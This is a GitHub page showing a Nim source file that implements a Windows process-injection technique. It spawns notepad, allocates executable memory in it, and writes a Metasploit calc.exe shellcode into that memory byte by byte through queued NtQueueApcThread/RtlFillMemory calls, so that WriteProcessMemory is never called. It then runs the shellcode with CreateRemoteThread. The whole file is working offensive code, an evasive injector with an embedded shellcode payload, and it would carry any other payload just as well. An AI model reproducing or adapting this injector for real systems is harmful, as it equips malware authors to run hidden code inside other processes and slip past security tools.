-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathWriteProcessMemoryAPC.nim
More file actions
132 lines (110 loc) · 5.54 KB
/
WriteProcessMemoryAPC.nim
File metadata and controls
132 lines (110 loc) · 5.54 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
import winim/lean
# Debug purpose
import strformat
import osproc
# Constants
const
NT_CREATE_THREAD_EX_SUSPENDED = 1
NT_CREATE_THREAD_EX_ALL_ACCESS = 0x001FFFFF
PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED or SYNCHRONIZE or 0xFFF
# Function prototypes
type
NtQueueApcThreadProc = proc(ThreadHandle: HANDLE, ApcRoutine: PVOID, Param1: PVOID, Param2: PVOID, Param3: PVOID): DWORD {.stdcall.}
NtCreateThreadExProc = proc(ThreadHandle: ptr HANDLE, DesiredAccess: DWORD, ObjectAttributes: PVOID, ProcessHandle: HANDLE, StartRoutine: PVOID, Argument: PVOID, CreateFlags: ULONG, ZeroBits: ptr DWORD, StackSize: SIZE_T, MaximumStackSize: SIZE_T, AttributeList: PVOID): DWORD {.stdcall.}
proc WriteProcessMemoryAPC(hProcess: HANDLE, pAddress: ptr BYTE, pData: ptr BYTE, dwLength: DWORD): DWORD =
var
hThread: HANDLE
pNtQueueApcThread: NtQueueApcThreadProc
pNtCreateThreadEx: NtCreateThreadExProc
pRtlFillMemory: PVOID
let ntdll = GetModuleHandleA("ntdll.dll")
pNtQueueApcThread = cast[NtQueueApcThreadProc](GetProcAddress(ntdll, "NtQueueApcThread")) # Get the address of NtQueueApcThread
if pNtQueueApcThread == nil:
return 1
pNtCreateThreadEx = cast[NtCreateThreadExProc](GetProcAddress(ntdll, "NtCreateThreadEx")) # Get the address of NtCreateThreadEx
if pNtCreateThreadEx == nil:
return 1
let kernel32 = GetModuleHandleA("kernel32.dll")
pRtlFillMemory = cast[PVOID](GetProcAddress(kernel32, "RtlFillMemory")) # Get the address of RtlFillMemory
if pRtlFillMemory == nil:
return 1
# Create a suspended thread in the remote process
if pNtCreateThreadEx(addr hThread, NT_CREATE_THREAD_EX_ALL_ACCESS, nil, hProcess, cast[PVOID](ExitThread), cast[PVOID](0), NT_CREATE_THREAD_EX_SUSPENDED.ULONG, nil, 0, 0, nil) != 0:
return 1
# For each byte, queue an APC to write the byte into the remote process
for i in 0..<dwLength:
let currentByte = cast[ptr UncheckedArray[BYTE]](pData)[i]
if pNtQueueApcThread(hThread, pRtlFillMemory, cast[PVOID](cast[int](pAddress) + i), cast[PVOID](1), cast[PVOID](currentByte)) != 0:
TerminateThread(hThread, 0)
CloseHandle(hThread)
return 1
discard ResumeThread(hThread)
discard WaitForSingleObject(hThread, INFINITE)
CloseHandle(hThread)
return 0
# Main proc is used to spawn a notepad process and inject a shellcode into it by leveraging WriteProcessMemoryAPC
proc main() =
# MSF CALC.EXE x64
var payload: array[276, byte] = [
byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,
0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,
0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,
0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,
0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,
0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,
0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,
0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,
0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,
0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,
0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,
0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,
0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,
0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,
0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,
0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,
0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,
0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,
0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,
0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,
0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,
0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,
0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,
0x00]
let payloadSize = payload.len
# Spawn a notepad process and open a handle to it
let process = startProcess("notepad.exe")
let processId = cast[DWORD](process.processId)
let hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId)
if hProcess == 0:
echo fmt"[!] Error while opening process ID {processId}"
quit(1)
echo "[i] Process opened, PID: ", processId
# Allocate memory in the remote process
let alloc = VirtualAllocEx(
hProcess,
nil,
payloadSize,
MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE # PAGE_EXECUTE_READWRITE is not optimal, but it's just an example
)
if alloc == nil:
echo "[!] Error while allocating memory in remote process"
CloseHandle(hProcess)
quit(1)
echo fmt"[i] Allocated memory at: 0x{cast[int](alloc):x}"
# Write the shellcode into the remote process using APC
if WriteProcessMemoryAPC(
hProcess,
cast[ptr BYTE](alloc),
unsafeAddr payload[0],
cast[DWORD](payloadSize)
) != 0:
echo "[!] Error while writing memory in remote process"
discard VirtualFreeEx(hProcess, alloc, 0, MEM_RELEASE)
CloseHandle(hProcess)
quit(1)
echo fmt"[i] Written {payloadSize} bytes into remote process"
CreateRemoteThread(hProcess, nil, 0, cast[LPTHREAD_START_ROUTINE](alloc), nil, 0, nil) # Execute the shellcode, CRT is not optimal, but it's just an example
CloseHandle(hProcess) # Close the handle to the remote process
when isMainModule:
main()